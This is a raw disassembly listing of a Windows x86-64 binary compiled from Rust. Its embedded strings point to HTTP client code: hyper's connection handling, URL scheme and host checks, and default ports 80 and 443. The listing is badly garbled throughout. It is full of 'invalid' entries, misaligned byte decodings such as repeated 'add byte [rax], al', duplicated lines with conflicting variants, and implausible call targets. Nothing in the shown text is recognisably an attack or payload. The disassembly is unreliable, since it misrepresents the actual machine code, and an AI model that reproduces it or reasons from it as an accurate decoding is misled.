movups xmm3, xmmword [rbp + 0x30]
movups xmmword [rdi + 0xd0], xmm0
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
add byte [rax], al
movups xmmword [rdi + 0xe0], xmm1
adc dword [rdi + 0xe0], ecx
movups xmmword [rdi + 0xf0], xmm2
add byte [rdi], cl
adc dword [rdi + 0x100], ebx
add dword [rax], eax
invalid
movups xmmword [rdi + 0x100], xmm3
add dword [rax], eax
add bl, dh
movq mm0, qword [rbp + 0x40]
movdqu xmm0, xmmword [rbp + 0x40]
movdqu xmmword [rdi + 0x110], xmm0
adc byte [rcx], al
add byte [rax], al
invalid
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x50]
push r8
mov qword [rdi + 0x120], rax
mov qword [rdi + 0x128], r14
mov dword [rdi + 0x128], esi
add byte [rax], al
add byte [rcx + rcx*4 - 0x49], cl
sub byte [rcx], al
add byte [rax], al
mov rax, qword [r14]
cmp byte [rax + 0x60], 0
movzx eax, byte [rdi + 0xd0]
invalid
mov dh, 0x87
rol byte [rax], 1
add byte [rax], al
invalid
je 0x1400b5086
test al, al
je 0x1400b5143
movzx eax, al
mov dh, 0xc0
cmp eax, 1
je 0x1400b513a
invalid
add byte [rax], al
invalid
add dword [rdi], ecx
test ch, dl
invalid
add byte [rax], al
add byte [rbx - 0x7bf0fd08], al
invalid
cmp eax, 2
je 0x1400b5143
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
movabs dword [0x4704058d4c000965], eax
invalid
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov edx, 0x28
sub byte [rax], al
add byte [rax], al
sub byte [rax], al
add byte [rax], al
call fcn.140108350
test al, al
jne 0x1400b517b
invalid
add byte [rdi], cl
mov dh, 5
movzx eax, byte [0x140182310]
jnp 0x1400b5065
or al, 0
mov esi, 0x1e
mov edx, 0x1e
add byte [rcx], dh
leave
call fcn.1400dfbe0
test rax, rax
je 0x1400b6ebc
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
or eax, 0xf00001e
movups xmm0, xmmword [0x14012bf0d]
movups xmm0, xmmword [0x14012bf0d]
push rdi
outsb dx, byte [rsi]
invalid
add byte [rdi], cl
adc dword [rax + 0xe], eax
movups xmmword [rax + 0xe], xmm0
movups xmm0, xmmword [0x14012beff]
jmp 0x1400b5211
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rbp + rcx*4 - 0x49], cl
sub byte [rbx], cl
add byte [rax], al
movzx eax, byte [rdi + 0xb28]
or eax, dword [rax]
add byte [rbp + rcx*4 - 0x59], cl
lea esp, [rdi + 0x138]
cmp byte [rcx], al
add byte [rax], al
cmp byte [rcx], al
add byte [rax], al
lea rcx, [0x140177f2c]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x60], r13
and al, 0x60
mov r13, rsi
mov qword [rsp + 0x50], rbp
jmp 0x1400b6627
lea r15, [rdi + 0x179]
mov edi, 0x179
add dword [rax], eax
add byte [rdi], cl
mov dh, 0x87
jns 0x1400b510a
movzx eax, byte [rdi + 0x179]
add byte [rax], al
add byte [rax - 0x73], cl
or eax, 0xc2e36
lea rcx, [0x140177f48]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov qword [rsp + 0x50], rbp
mov r14, qword [rdi + 0x170]
mov rdx, qword [rdi + 0x158]
mov rbp, qword [rdi + 0x160]
jmp 0x1400b56e7
cmp byte [rdi + 0xd1], 0
je 0x1400b517b
movzx eax, byte [0x140182310]
mov esi, 0x1f
mov edx, 0x1f
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b6e92
movups xmm0, xmmword [0x14012beef]
movups xmmword [rax + 0xf], xmm0
movups xmm0, xmmword [str.invalid_URL__scheme_is_not_httpinvalid_URL__scheme_is_missinginvalid_URL__host_is_missingConnectError]
jmp 0x1400b5211
mov rdx, qword [rdi + 0xf0]
test rdx, rdx
je 0x1400b51de
mov rcx, qword [rdi + 0xe8]
call fcn.140032de0
fdivr st(7), st(0)
dec dword [rax - 0x7b]
invalid
je 0x1400b51de
fdivr st(7), st(0)
dec dword [rax - 0x7b]
sal byte [rsi + rax*2 + 0x49], 0x89
invalid
lock add byte [rax], al
add byte [rbp - 0x7b], cl
test eax, eax
invalid
test byte [rdx + 1], dh
test eax, eax
je 0x1400b5320
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
mov rdx, qword [rdi + 0xe8]
lea rcx, [rsp + 0x218]
sbb byte [rdx], al
add byte [rax], al
call 0x1880b51b6
lea ecx, [rsp + 0x218]
sbb byte [rdx], al
add byte [rax], al
sbb byte [rdx], al
add byte [rax], al
call fcn.140032950
cmp qword [rsp + 0x218], 0
je 0x1400b5320
movzx ecx, word [rsp + 0x228]
jmp 0x1400b5346
movzx eax, byte [0x140182310]
or al, 0
mov esi, 0x1c
mov edx, 0x1c
xor ecx, ecx
call fcn.1400dfbe0
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
scasb al, byte [rdi]
sbb al, 0
invalid
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
scasb al, byte [rdi]
sbb al, 0
add byte [rdi], cl
adc byte [0x14012bf29], al
and ebp, dword [rbp + 7]
invalid
movups xmm0, xmmword [0x14012bf29]
and ebp, dword [rbp + 7]
insd dword [rdi], dx
invalid
add byte [rdi], cl
adc dword [rax + 0xc], eax
movups xmmword [rax + 0xc], xmm0
movups xmm0, xmmword [0x14012bf1d]
movups xmmword [rax], xmm0
adc dword [rax], eax
movq xmm6, rax
movq mm6, rax
movd xmm0, esi
punpcklqdq xmm6, xmm0
xor r15d, r15d
xor edi, edi
push qword [rcx]
invalid
test byte [rax + 0xd0bf], 0
add dh, byte [rdx + 0x2b]
jb 0x1400b525a
cmp byte [rdi + 0xd0], 2
jb 0x1400b525a
mov r14, qword [rdi + 0xd8]
lea rcx, [r14 + 0x18]
mov rax, qword [r14]
mov rdx, qword [r14 + 8]
mov r8, qword [r14 + 0x10]
add byte [rax], al
add byte [rcx - 0x73], cl
sbb byte [rcx - 0x75], r9b
invalid
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
or al, 0
or al, 0
xor edx, edx
mov r8, r14
mov eax, esi
mov eax, esi
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x5d106
lea rcx, [rdi + 0xf8]
mov rax, qword [rdi + 0xe0]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
xchg edi, eax
call 0x18c0b5270
add byte [rax], al
mov r8, qword [rdi + 0xf0]
add byte [rax], al
mov rdx, qword [rdi + 0xe8]
mov r8, qword [rdi + 0xf0]
call qword [rax + 0x10]
lea rcx, [rdi + 0x118]
mov rax, qword [rdi + 0x100]
mov rdx, qword [rdi + 0x108]
add dword [rax], eax
add byte [rax - 0x75], cl
xchg dword [rax], eax
add dword [rax], eax
add byte [rax - 0x75], cl
xchg edi, eax
or byte [rcx], al
add byte [rax], al
mov r8, qword [rdi + 0x110]
call qword [rax + 0x10]
push rax
adc dh, al
xchg dword [rdx], esi
add dword [rax], eax
add byte [rcx], al
mov r13d, 2
mov rcx, rbp
call fcn.1400b8380
sal dword [rax], cl
xor byte [rax], al
add byte [rax - 0x75], cl
pop r8
xor byte [rax], al
add byte [rax - 0x75], cl
pop r8
lock dec qword [rax]
jne 0x1400b52c0
mov rcx, qword [rdi + 0x58]
call fcn.14004f050
popfq
stc
invalid
popfq
stc
dec dword [rax - 0x75]
invalid
mov rax, qword [rdi + 0x60]
lock dec qword [rax]
dec qword [rax]
jne 0x1400b52d7
invalid
mov rcx, qword [rdi + 0x60]
mov rdx, qword [rdi + 0x68]
call fcn.140005050
hlt
mov qword [rbx], r13
movupd xmmword [rbx + 8], xmm6
jae 0x1400b52e7
mov qword [rbx + 0x18], r15
mov qword [rbx + 0x20], rsi
jae 0x1400b5307
jae 0x1400b5307
mov al, 1
jmp 0x1400b6afd
mov rdx, qword [rdi + 0x180]
mov r9, qword [rdi + 0x188]
jmp 0x1400b574a
add al, 0
invalid
mov qword [rsp + 0x50], rbp
mov r14, qword [rdi + 0x168]
mov esi, dword [rdi + 0x168]
mov rdx, qword [rdi + 0x188]
mov rbp, qword [rdi + 0x190]
jmp 0x1400b570a
lea rax, [rdi + 0xd0]
movzx eax, byte [rax]
mov cx, 0x50
test al, 1
je 0x1400b5346
cmp byte [rdi + 0xd1], 0
mov eax, 0x50
mov ecx, 0x1bb
cmove ecx, eax
mov dword [rsp + 0x38], ecx
mov word [rdi + 0x130], cx
add byte [rax], al
add byte [rax], al
xor ecx, ecx
jmp 0x1400b536f
inc rcx
sub rcx, r12
cmp edx, 0x5b
jne 0x1400b5405
cmp rcx, r15
je 0x1400b5402
add rcx, r12
movzx r10d, byte [rcx]
movzx edx, r10b
test dl, dl
jns 0x1400b5360
mov r8d, edx
and r8d, 0x1f
movzx r11d, byte [rcx + 1]
and r11d, 0x3f
cmp dl, 0xdf
jbe 0x1400b53dc
movzx r9d, byte [rcx + 2]
shl r11d, 6
and r9d, 0x3f
or r9d, r11d
cmp r10b, 0xf0
jb 0x1400b53ef
movzx edx, byte [rcx + 3]
and r8d, 7
shl r8d, 0x12
loopne 0x1400b53d3
loopne 0x1400b53d3
shl r9d, 6
and edx, 0x3f
or edx, r9d
or edx, ecx
or edx, r8d
cmp edx, 0x110000
je 0x1400b5402
invalid
add byte [rsp + rbp + 0x48], dh
add rcx, 4
add ecx, 4
add al, 0xeb
xchg dword [rax - 0x7d], ecx
rol dword [rdx], 0x41
shl eax, 6
jmp 0x1400b5363
add rcx, 2
shl r8d, 6
or r8d, r11d
mov edx, r8d
jmp 0x1400b5363
ret 0x74e9
add rcx, 3
shl r8d, 0xc
or r9d, r8d
rol dword [rcx + rcx*4 - 0x36], 0xe9
invalid
invalid
invalid
invalid
rol dword [rcx + rcx*4 - 0x36], 0xe9
invalid
mov rax, r15
mov qword [rsp + 0x50], rbp
push rax
sub r15, rax
add r12, rax
mov qword [rsp + 0x60], r13
mov dword [rsp + 0x60], ebp
mov dword [rsp + 0x60], ebp
jmp 0x1400b5432
dec r15
dec edi
movzx eax, al
sub r15, r12
sub edi, esp
cmp eax, 0x5d
jne 0x1400b5503
invalid
add byte [rbp - 0x7b], cl
push qword [rbp + riz*2 + 0x4c]
mov ebp, edi
std
test r15, r15
je 0x1400b549c
mov rbp, r15
std
add r15, r12
add edi, esp
movzx eax, byte [r15 - 1]
test al, al
jns 0x1400b5420
movzx ecx, byte [r15 - 2]
cmp cl, 0xc0
invalid
jge 0x1400b5473
inc byte [r8 + 0x237dc0f9]
sar byte [rbp + 0x23], 0x41
movzx edx, byte [rdi - 3]
movzx edx, byte [r15 - 3]
cmp dl, 0xbf
jg 0x1400b547c
movzx r8d, byte [r15 - 4]
cld
add r15, 0xfffffffffffffffc
and r8d, 7
shl r8d, 6
and edx, 0x3f
or edx, r8d
jmp 0x1400b5483
add r15, 0xfffffffffffffffe
and ecx, 0x1f
jmp 0x1400b548b
add r15, 0xfffffffffffffffd
std
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
invalid
shl ecx, 6
and al, 0x3f
movzx eax, al
mov dh, 0xc0
mov dh, 0xc0
or eax, ecx
cmp eax, 0x110000
jne 0x1400b5426
lea r15, [rdi + 0x138]
add byte [rax], al
xor ebp, ebp
jmp 0x1400b5514
mov r15, qword [rdi + 0xb30]
test r15, r15
jne 0x1400b697a
add byte [rax], al
jmp 0x1400b54d9
mov qword [rsp + 0x30], r12
mov r12, r14
mov r14, r13
jmp 0x1400b6684
mov r15, qword [rdi + 0xb38]
test r15, r15
jne 0x1400b679a
lea rcx, str.cannot_poll_Select_twiceC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_select.rs
lea r8, [0x1401423b8]
mov edx, 0x18
call fcn.1401086b0
mov r8, rsi
mov rsi, r13
mov r15, qword [rdi + 0xb60]
jmp 0x1400b6ac8
lea r15, [rdi + 0x138]
cmp rbp, 0xf
ja 0x1400b5628
mov qword [rsp + 0x30], rsi
mov r13, rbx
mov qword [rsp + 0x218], r12
mov qword [rsp + 0x220], rbp
lea rcx, [rsp + 0x218]
call fcn.140015a40
mov rcx, rax
shr rcx, 8
and ecx, 0xffffff00
xor esi, esi
cmp qword [rsp + 0x220], 0
sete r8b
movzx edx, ah
cmove esi, ecx
and al, r8b
mov ebx, 1
cmovne ebx, edx
cmp al, 1
jne 0x1400b561b
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b6ef2
or esi, ebx
mov word [rax], 0
mov dword [rax + 2], esi
mov ecx, dword [rsp + 0x38]
mov word [rax + 6], cx
mov rcx, rax
add rcx, 0x20
mov qword [rdi + 0x138], rax
mov qword [rdi + 0x140], rax
mov qword [rdi + 0x148], 1
mov qword [rdi + 0x150], rcx
mov rbx, r13
mov r13, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x30]
mov byte [rdi + 0x133], 1
mov r9, qword [rdi + 0x138]
test r9, r9
jne 0x1400b5684
test rbp, rbp
je 0x1400b569f
js 0x1400b6f01
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, rbp
call fcn.1400dfbe0
test rax, rax
je 0x1400b6f12
mov rbx, r13
mov r13, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x30]
mov qword [rsp + 0xa0], r12
mov qword [rsp + 0xa8], rbp
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xa0
add byte [rax], al
add al, ch
xchg ebx, eax
invalid
idiv bh
cmp qword [rsp + 0xa8], 0
jne 0x1400b5666
add byte [rax - 0x73], cl
mov word [rax + rbx], fs
add al, byte [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0xa0
add byte [rax], al
add al, ch
xchg ebx, eax
invalid
test byte [rsp + 0x218], 1
jne 0x1400b5bac
mov qword [r15], 0
mov byte [rdi + 0x133], 1
mov r9, qword [rdi + 0x138]
test r9, r9
je 0x1400b55e7
mov r14, qword [r15 + 8]
mov rax, qword [r15 + 0x10]
mov qword [rsp + 0x38], rax
mov r11, qword [r15 + 0x18]
mov rbp, qword [rsp + 0x50]
jmp 0x1400b5cda
mov r13, rsi
mov ecx, 1
add r14, 8
mov rsi, rcx
mov rdx, r12
mov r8, rbp
call fcn.140106250
mov rdx, rsi
mov qword [rdi + 0x158], rsi
mov qword [rdi + 0x160], rbp
mov qword [rdi + 0x170], r14
lea r15, [rdi + 0x179]
mov byte [rdi + 0x179], 0
mov rsi, r13
mov r13, qword [rsp + 0x60]
lea rax, [rdi + 0x168]
mov qword [rdi + 0x168], r14
mov qword [rdi + 0x188], rdx
mov qword [rdi + 0x190], rbp
mov qword [rdi + 0x180], rax
mov byte [rdi + 0x178], 0
mov rax, qword [r14]
mov r9, qword [r14 + 8]
mov rcx, qword [r9 + 0x10]
dec rcx
and rcx, 0xfffffffffffffff0
add rcx, rax
add rcx, 0x10
mov r8, rbp
call qword [r9 + 0x18]
mov r9, rdx
mov rdx, rax
mov qword [rdi + 0x180], rax
mov qword [rdi + 0x188], r9
mov rbp, qword [rsp + 0x50]
lea rcx, [rsp + 0x218]
mov qword [rsp + 0x30], rsi
mov r8, rsi
call qword [r9 + 0x18]
mov rsi, qword [rsp + 0x218]
cmp rsi, 2
jne 0x1400b5777
mov byte [r15], 4
mov al, 3
jmp 0x1400b6af0
mov qword [rsp + 0x88], rbx
mov r15, qword [rsp + 0x220]
mov rax, qword [rsp + 0x228]
mov qword [rsp + 0x38], rax
mov r12, qword [rdi + 0x180]
mov rbx, qword [rdi + 0x188]
mov rcx, r12
call qword [rbx]
cmp qword [rbx + 8], 0
je 0x1400b57cc
and ecx, ebx
add eax, 0x3387c600
add dword [rax], eax
add byte [rax], al
movq xmm6, r14
shufpd xmm6, xmmword [0x140112a80], 2
jmp 0x1400b5226
or al, 0
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
xor r11d, r11d
xor eax, eax
mov qword [rsp + 0x38], rax
jmp 0x1400b5c8b
mov edx, edi
mov qword [rsp + 0x40], rax
call rax
mov rax, qword [rsp + 0x218]
inc rax
mov rcx, 0xffffffffffffffff
cmovne rcx, rax
cmp rcx, 5
mov r14d, 4
cmovae r14, rcx
shr rcx, 0x3a
jne 0x1400b6f01
mov r12, r14
shl r12, 5
movzx eax, byte [0x140182310]
xor ecx, ecx
mov rdx, r12
call fcn.1400dfbe0
test rax, rax
je 0x1400b6f1f
add byte [rax], al
add byte [rax], al
mov r13, rax
mov word [rax], si
mov eax, dword [rsp + 0x58]
mov dword [r13 + 2], eax
mov word [r13 + 6], bp
movdqa xmm0, xmmword [rsp + 0x110]
movdqu xmmword [r13 + 8], xmm0
mov eax, dword [rsp + 0x120]
mov dword [r13 + 0x18], eax
mov word [r13 + 0x1c], bx
movzx eax, word [rsp + 0x68]
mov word [r13 + 0x1e], ax
mov qword [rsp + 0xa0], r14
mov qword [rsp + 0xa8], r13
mov qword [rsp + 0xb0], 1
lea rcx, [rsp + 0x218]
mov rdx, r15
call qword [rsp + 0x48]
movzx ebp, word [rsp + 0x218]
mov r8d, 1
add byte [rsi - 0x7d], ah
std
add dh, byte [rbp + 0x6e]
add byte [rsi - 0x7d], ah
std
add dh, byte [rbp + 0x6e]
mov rcx, r15
mov rsi, r8
mov r14, qword [rsp + 0x38]
call qword [r14]
mov r11, rsi
cmp qword [r14 + 8], 0
mov rbx, qword [rsp + 0x88]
mov rbp, qword [rsp + 0x50]
mov r13, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x30]
je 0x1400b5a6a
cmp qword [r14 + 0x10], 0x11
jb 0x1400b5a50
mov r15, qword [r15 - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r15
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, qword [rsp + 0xb0]
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0xa8]
jmp 0x1400b5c8b
mov esi, 0x20
mov qword [rsp + 0x70], r15
jmp 0x1400b5b04
mov word [r13 + rsi], bp
mov dword [r13 + rsi + 2], r12d
mov word [r13 + rsi + 6], bx
movdqa xmm0, xmmword [rsp + 0x1b0]
add dword [rax], eax
add bl, dh
movq qword [r13 + rsi + 8], mm0
add dword [rax], eax
add bl, dh
movq qword [r13 + rsi + 8], mm0
mov eax, dword [rsp + 0x1c0]
mov dword [r13 + rsi + 0x18], eax
mov word [r13 + rsi + 0x1c], r14w
mov word [r13 + rsi + 0x1e], r15w
inc r8
mov qword [rsp + 0xb0], r8
lea rcx, [rsp + 0x218]
mov r15, qword [rsp + 0x70]
mov rdx, r15
mov rbx, r8
call qword [rsp + 0x48]
mov r8, rbx
movzx ebp, word [rsp + 0x218]
add rsi, 0x20
cmp bp, 2
je 0x1400b5a16
lea rax, [rsp + 0x220]
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x1b0], xmm0
mov eax, dword [rax + 0x10]
mov dword [rsp + 0x1c0], eax
movzx r14d, word [rdi + 0x130]
test bp, bp
movzx ebx, word [rsp + 0x21e]
cmove bx, r14w
cmove r14w, word [rsp + 0x234]
mov r12d, dword [rsp + 0x21a]
movzx r15d, word [rsp + 0x236]
cmp r8, qword [rsp + 0xa0]
jne 0x1400b5a90
lea rcx, [rsp + 0x218]
mov rdx, qword [rsp + 0x70]
mov r13, r8
call qword [rsp + 0x40]
mov r8, qword [rsp + 0x218]
inc r8
mov rax, 0xffffffffffffffff
cmove r8, rax
lea rcx, [rsp + 0xa0]
mov rdx, r13
call fcn.14010e930
mov r8, r13
mov r13, qword [rsp + 0xa8]
jmp 0x1400b5a90
mov r13, rsi
mov rsi, rbx
movzx ebx, byte [rsp + 0x219]
mov rax, qword [rsp + 0x21a]
mov qword [rsp + 0x180], rax
mov rax, qword [rsp + 0x221]
mov qword [rsp + 0x187], rax
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x1400b6ef2
mov word [rax], 1
mov byte [rax + 4], bl
mov rcx, qword [rsp + 0x180]
mov rdx, qword [rsp + 0x187]
mov qword [rax + 5], rcx
mov qword [rax + 0xc], rdx
mov qword [rax + 0x14], 0
mov ecx, dword [rsp + 0x38]
mov word [rax + 0x1c], cx
mov rcx, rax
add rcx, 0x20
mov qword [rdi + 0x138], rax
mov qword [rdi + 0x140], rax
mov qword [rdi + 0x148], 1
mov qword [rdi + 0x150], rcx
mov rbx, rsi
mov rsi, r13
mov r13, qword [rsp + 0x60]
mov byte [rdi + 0x133], 1
add dword [rax], eax
add byte [rcx], al
add dword [rax], eax
add byte [rcx], al
mov r9, qword [rdi + 0x138]
test r9, r9
jne 0x1400b5684
jmp 0x1400b55e7
and al, 0x88
add byte [rax], al
add byte [rax - 0x75], cl
je 0x1400b5cae
xor byte [rcx - 0x3f], cl
jrcxz 0x1400b5c94
shl r11, 5
add r11, r14
lea r15, [rdi + 0x138]
mov edi, 0x138
mov r8, qword [rdi + 0x138]
test r8, r8
je 0x1400b5cd7
cmp byte [rdi + 0x133], 0
je 0x1400b5cd7
cmp qword [rdi + 0x148], 0
je 0x1400b5cd7
mov rcx, qword [0x140182260]
xor edx, edx
mov qword [rsp + 0x70], r15
mov r12, r11
call qword [sym.imp.kernel32.dll_HeapFree]
mov r11, r12
mov r15, qword [rsp + 0x70]
mov r9, r14
mov byte [rdi + 0x133], 0
mov rax, qword [rdi + 0x128]
mov r8, qword [rax]
mov ecx, dword [r8 + 0x48]
cmp ecx, 0x3b9aca00
mov qword [rsp + 0x50], rbp
mov qword [rsp + 0x60], r13
jne 0x1400b5d57
push rsi
push rsi
mov ecx, dword [r8 + 0x38]
mov dword [rsp + 0x48], 0x3b9aca00
cmp ecx, 0x3b9aca00
je 0x1400b5de3
mov r10, r11
sub r10, r14
shr r10, 5
test r10d, r10d
je 0x1400b5de3
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x40], r8
mov rax, qword [r8 + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je 0x1400b61d5
xor edx, edx
div r9
mov r8, rdx
jmp 0x1400b61dd
mov rax, qword [r8 + 0x40]
mov qword [rsp + 0x178], rax
movzx eax, byte [r8 + 0x66]
test byte [r8 + 0x61], 1
jne 0x1400b5de8
add r14, 0x20
cmp r14, r11
je 0x1400b5fa7
movzx ecx, word [r14]
cmp cx, 2
je 0x1400b5fa7
movdqu xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0xae], xmm1
movdqa xmmword [rsp + 0xa0], xmm0
test cx, cx
je 0x1400b5d84
mov word [rax], cx
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rax + 2], xmm0
movdqu xmm0, xmmword [rsp + 0xae]
movdqu xmmword [rax + 0x10], xmm0
add rax, 0x20
jmp 0x1400b5d84
jmp 0x1400b624d
mov qword [rsp + 0x120], 0
jmp 0x1400b5ec3
mov rcx, rbp
mov r12, r11
mov rsi, r9
mov r15d, edx
call fcn.14003dc00
mov edx, r15d
mov r9, rsi
mov r11, r12
mov r15, qword [rsp + 0x70]
mov rax, qword [rbp + 8]
mov rcx, r13
shl rcx, 5
mov word [rax + rcx], bx
movaps xmm0, xmmword [rsp + 0xa0]
movups xmmword [rax + rcx + 2], xmm0
movdqu xmm0, xmmword [rsp + 0xae]
movdqu xmmword [rax + rcx + 0x10], xmm0
inc r13
mov qword [rbp + 0x10], r13
add r14, 0x20
cmp r14, r11
je 0x1400b602c
movzx ebx, word [r14]
cmp bx, 2
je 0x1400b602c
test dx, dx
sete al
movups xmm0, xmmword [r14 + 2]
movups xmm1, xmmword [r14 + 0x10]
movups xmmword [rsp + 0xae], xmm1
movaps xmmword [rsp + 0xa0], xmm0
add byte [rax], al
add byte [rax], al
test bx, bx
setne cl
xor cl, al
je 0x1400b5f1e
mov r13, qword [rsp + 0x150]
lea rbp, [rsp + 0x140]
cmp r13, qword [rsp + 0x140]
je 0x1400b5e65
jmp 0x1400b5e84
mov r13, qword [rsp + 0x120]
lea rbp, [rsp + 0x110]
cmp r13, qword [rsp + 0x110]
jne 0x1400b5e84
jmp 0x1400b5e65
sub rax, r9
add rax, r9
movabs rcx, 0x7ffffffffffffff
and qword [rsp + 0x38], rcx
mov r10d, 4
xor edx, edx
mov r11, rax
mov ecx, dword [r8 + 0x38]
mov dword [rsp + 0x48], 0x3b9aca00
cmp ecx, 0x3b9aca00
jne 0x1400b6135
jmp 0x1400b62df
cmp qword [rsp + 0x38], 0
je 0x1400b6046
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, r9
call qword [sym.imp.kernel32.dll_HeapFree]
mov rax, qword [rsp + 0x140]
mov qword [rsp + 0x38], rax
mov r14, qword [rsp + 0x148]
mov r9, qword [rsp + 0x150]
mov rdx, qword [rsp + 0x110]
mov r10, qword [rsp + 0x118]
mov rax, qword [rsp + 0x120]
mov r11, r9
shl r11, 5
add r11, r14
test rax, rax
mov rbx, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x30]
je 0x1400b6115
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x40]
mov ebp, dword [rax + 0x38]
cmp byte [rcx - 0x6535ff03], al
cmp ecx, dword [rax - 0x77]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rdi], cl
test edi, eax
add byte [rax], al
invalid
cmp byte [rcx - 0x6535ff03], al
cmp ecx, dword [rax - 0x77]
xchg esp, eax
and al, 0x90
add byte [rax], al
add byte [rdi], cl
test edi, eax
add byte [rax], al
add byte [rbp + rcx*4 + 0xd], cl
test eax, 0x4800075e
lea ecx, [rsp + 0xa0]
lea r9, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconnecthttp.rs
lea rcx, [rsp + 0xa0]
mov rdx, qword [rsp + 0x178]
mov r13, rax
mov r8d, dword [rsp + 0x9c]
mov r12, r11
mov rbp, r10
call fcn.1400f4bb0
mov r10, qword [rsp + 0x90]
mov r8, r13
mov r11, r12
mov r15, qword [rsp + 0x70]
mov dword [rsp + 0x48], 0x3b9aca00
mov r12, rbp
mov dword [rsp + 0x7c], 0x3b9aca00
mov rax, qword [rsp + 0x68]
jmp 0x1400b6496
mov r9, r14
mov r8, qword [rsp + 0x40]
mov ecx, dword [r8 + 0x38]
mov dword [rsp + 0x48], 0x3b9aca00
cmp ecx, 0x3b9aca00
je 0x1400b5fdf
mov qword [rsp + 0x80], r10
mov r10, r11
sub r10, r9
shr r10, 5
test r10d, r10d
je 0x1400b61c8
mov qword [rsp + 0x90], rdx
mov qword [rsp + 0x30], r9
mov qword [rsp + 0x40], r8
mov rax, qword [r8 + 0x30]
mov r9d, r10d
mov rdx, rax
shr rdx, 0x20
je 0x1400b6257
xor edx, edx
div r9
mov r8, rdx
jmp 0x1400b625f
mov rax, qword [rax + 0x30]
mov dword [rsp + 0x7c], 0x3b9aca00
test r9d, r9d
mov qword [rsp + 0x80], r10
mov dword [rsp + 0x174], ebp
mov qword [rsp + 0x70], rax
je 0x1400b6315
mov r8d, r9d
mov rcx, rax
shr rcx, 0x20
je 0x1400b6322
xor edx, edx
div r8
mov rcx, rdx
mov r10, rax
jmp 0x1400b632c
mov r10, qword [rsp + 0x80]
jmp 0x1400b62df
xor edx, edx
div r9d
mov r8d, edx
mov qword [rsp + 0x58], rax
mov eax, ecx
xor edx, edx
div r10d
mov r10d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b6208
xor edx, edx
div r9
jmp 0x1400b620d
xor edx, edx
div r9d
mov r8, qword [rsp + 0x40]
add r10d, eax
cmp r10d, 0x3b9aca00
mov r9, qword [rsp + 0x30]
jb 0x1400b6248
mov eax, r10d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add qword [rsp + 0x58], rax
jb 0x1400b6f2c
imul eax, eax, 0x3b9aca00
sub r10d, eax
mov dword [rsp + 0x48], r10d
mov ebp, 2
jmp 0x1400b6523
xor edx, edx
div r9d
mov r8d, edx
mov qword [rsp + 0x58], rax
mov eax, ecx
xor edx, edx
div r10d
mov r14d, eax
mov eax, edx
imul rcx, r8, 0x3b9aca00
add rax, rcx
mov rcx, rax
shr rcx, 0x20
je 0x1400b628a
xor edx, edx
div r9
jmp 0x1400b628f
xor edx, edx
div r9d
mov r8, qword [rsp + 0x40]
mov r10, qword [rsp + 0x80]
add r14d, eax
cmp r14d, 0x3b9aca00
mov r9, qword [rsp + 0x30]
mov rdx, qword [rsp + 0x90]
jb 0x1400b62da
mov eax, r14d
shr eax, 9
imul rax, rax, 0x44b83
shr rax, 0x27
add qword [rsp + 0x58], rax
jb 0x1400b6f2c
imul eax, eax, 0x3b9aca00
sub r14d, eax
mov dword [rsp + 0x48], r14d
mov ebp, 2
test rdx, rdx
je 0x1400b630d
mov rcx, qword [0x140182260]
xor edx, edx
mov r13, r8
mov r8, r10
mov r14, r11
mov r12, r9
call qword [sym.imp.kernel32.dll_HeapFree]
mov r9, r12
mov r8, r13
mov r11, r14
mov r14, r9
jmp 0x1400b6523
mov r12, r11
mov dword [rsp + 0x48], 0x3b9aca00
